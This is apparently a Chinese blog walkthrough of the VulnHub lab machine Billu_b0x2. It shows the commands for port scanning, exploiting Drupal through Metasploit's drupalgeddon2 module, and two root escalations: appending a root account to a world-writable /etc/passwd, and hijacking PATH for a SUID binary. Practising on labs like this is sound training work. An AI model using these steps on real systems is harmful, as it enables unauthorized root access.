个人博客阅读体验更佳

本次来试玩一下vulnhub上的Billu_b0x2,下载地址

下载下来后是 .ova 格式,建议使用vitualbox进行搭建,vmware可能存在兼容性问题。靶场推荐使用NAT(共享)模式,桥接模式可能会造成目标过多不易识别。


IP

win7: 192.168.31.44
kali: 192.168.31.17
靶机: 192.168.31.132


信息搜集

主机发现得到靶机ip,接着进行端口扫描

nmap -sV -A -p- 192.168.31.132

开放了22, 80, 111, 8080, 55532端口
80端口还扫出了部分目录。

网页登上去看一眼

出了一个搜索框和login其他没有什么要素了。
接着御剑扫一下,扫出了80端口下的robots.txt,根据其中的提示进行文件遍历,web.config并没有有用的信息,最终在README.txt中找到/core/install.php,告诉我们具体的CMS版本号是Drupal 8.3.5
8080端口有一个/manager的401登录


渗透过程

由于看到了login, 点进去瞄一眼,有登录、注册、重置三个窗口,重置需要发送邮件显然没有着手点,登录尝试sql注入无果,弱密码爆破无果。注册发现有图片上传,先测试一下注册一个普通用户,但这个靶场环境没有邮件服务器无法注册成功,而且上传的图片也没有路径提示(后来webshell连上去才发现路径在/var/www/html/sites/default/files/pictures/[data]/下)。
这三个地方都无法入手,后来才想到Drupal7.x和8.x都有致命bug(CVE-2018-7600CVE-2018-7602)
或者直接在msf中搜索漏洞

$ msfconsole
$ search drupal
$ use exploit/unix/webapp/drupal_drupalgeddon2 # use 1
$ set rhosts 192.168.31.132
$ exploit


提权

- 方法一

看到ubuntu 14.04想到直接脏牛提权,但不知道为什么各种内核漏洞提权都失效了。
发现/etc/passwd拥有777权限,尝试添加一个最高权限的admin用户,直接切过去即可

需要用到openssl生成一个hash加密的密码

$ openssl passwd -1 -salt admin 123456

在/etc/passwd最后追加一行用户信息

$ admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0:::/bin/bash

直接su admin输入密码123456即可提权成功

方法二

查看哪些文件有SUID权限

$ find / -perm -4000 -type f 2>/dev/null

发现/opt/s很可疑,strings看一下二进制命令,发现是scp命令使用了root权限

$ strings /opt/s

因此可以自己伪造一个假的scp命令,然后添加到环境变量让他执行。

$ cd /tmp
$ echo "/bin/bash" > scp
$ chmod +x scp
$ echo $PATH
$ export PATH=/tmp:$PATH
$ cd /opt
$ ./s


补充:

环境变量提权见此

整体提权原理: 通过发现/opt/s拥有SUID权限,则其运行时进程并不属于发起者,而是文件所有者,这里是root。strings查看二进制发现s以root运行了scp这个命令,但是没有指定具体的文件路径,因此可以伪造一个假的scp并添加到环境变量,让s去以root运行/tmp中的假的scp,而假的scp中又写入了我们写的/bin/bash,相当于直接运行了sudo /bin/bash

Billu_b0x2内网渗透(多种提权方法)靶场-vulnhub的更多相关文章

  1. metasploit下Windows的多种提权方法

    metasploit下Windows的多种提权方法 前言 当你在爱害者的机器上执行一些操作时,发现有一些操作被拒绝执行,为了获得受害机器的完全权限,你需要绕过限制,获取本来没有的一些权限,这些权限可以 ...

  2. 内网渗透 day8-linux提权和后门植入

    linux提权和后门植入 目录 1. 脏牛漏洞复现 3 (1) 去网上把代码复制然后touch一个.c文件,vi或者vim打开将代码复制进去保存 3 (2) 进入shell然后从kali开的apach ...

  3. 内网渗透 - 提权 - Windows

    MS提权 MS16- MS16- 提权框架 Sherlock 信息收集 ifconfig -a cat /etc/hosts arp -a route -n cat /proc/net/* ping扫 ...

  4. Linux内网渗透

    Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的.本片文章将从拿到一个Linux shell开始,介绍Linux内网渗 ...

  5. 内网渗透测试思路-FREEBUF

    (在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...

  6. 小白日记21:kali渗透测试之提权(一)--本地提权

    本地提权 简单地说,本地提权漏洞就是说一个本来非常低权限.受限制的用户,可以提升到系统至高无上的权限.权限提升漏洞通常是一种"辅助"性质的漏洞,当黑客已经通过某种手段进入了目标机器 ...

  7. [原创]K8飞刀20150725 支持SOCKS5代理(内网渗透)

    工具: K8飞刀编译: 自己查壳组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2015/7/26 3:41:11 简介: ...

  8. 3.内网渗透之reGeorg+Proxifier

    aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAxIAAAE2CAIAAAB6BDOVAAAgAElEQVR4Aey9Z5Aex3X327MRGVzkRH ...

  9. 【CTF】msf和impacket联合拿域控内网渗透-拿域控

    前言 掌控安全里面的靶场内网渗透,练练手! 内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也 ...

随机推荐

  1. 使用junit进行最简单的单元测试

    使用junit进行最简单的单元测试 使用工具: jdk IDEA Maven 第一步 创建一个Maven项目 第二步 导入junit依赖 <dependency> <groupId& ...

  2. vue 手机号码隐藏中间

    template {{ phone | mobileFilter }}   data export default { filters:{         mobileFilter(val){     ...

  3. JDK1.8源码(五)——java.util.Vector类

    JDK1.8源码(五)--java.lang. https://www.cnblogs.com/IT-CPC/p/10897559.html

  4. WHY IS A BYTE 8 BITS? OR IS IT?

    WHY IS A BYTE 8 BITS? OR IS IT? 原文链接:http://www.bobbemer.com/BYTE.HTM I recently received an e-mail ...

  5. Week2 题解

    T1及题解 T2 CF1207E 首先,异或这个位运算有个很好的性质:x^y^y=x 于是,可以有两种解决方法: 法一 既然让猜原来的数是多少,当它异或了一个其他值val的时候,再异或val就会变回原 ...

  6. stream流思想应用

    1.计算集合中某字段数值和 subTotal = subTotal+ complainCountResult.stream().filter(childSource->childSource.g ...

  7. 使用私有gitlab发布自动生成版本号和标签(version和tag)(骚)

    设置 semantic ,自动生成版本号和标签 FROM node:14-buster-slim LABEL maintainer="wangyunpeng" COPY sourc ...

  8. 一个简单的session传值学习

    a.html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UT ...

  9. PHP的变量赋值

    这个标题估计很多人会不屑一顾,变量赋值?excuse me?我们学开发的第一课就会了好不好.但是,就是这样基础的东西,反而会让很多人蒙圈,比如,值和引用的关系.今天,我们就来具体讲讲. 首先,定义变量 ...

  10. 使用 FIO 对 Kubernetes 持久卷进行 Benchmark:读/写(IOPS)、带宽(MB/s)和延迟

    工具 Dbench https://github.com/leeliu/dbench 用法 编辑 dbench.yaml 文件中的 storageClassName 以匹配你自己的 Storage C ...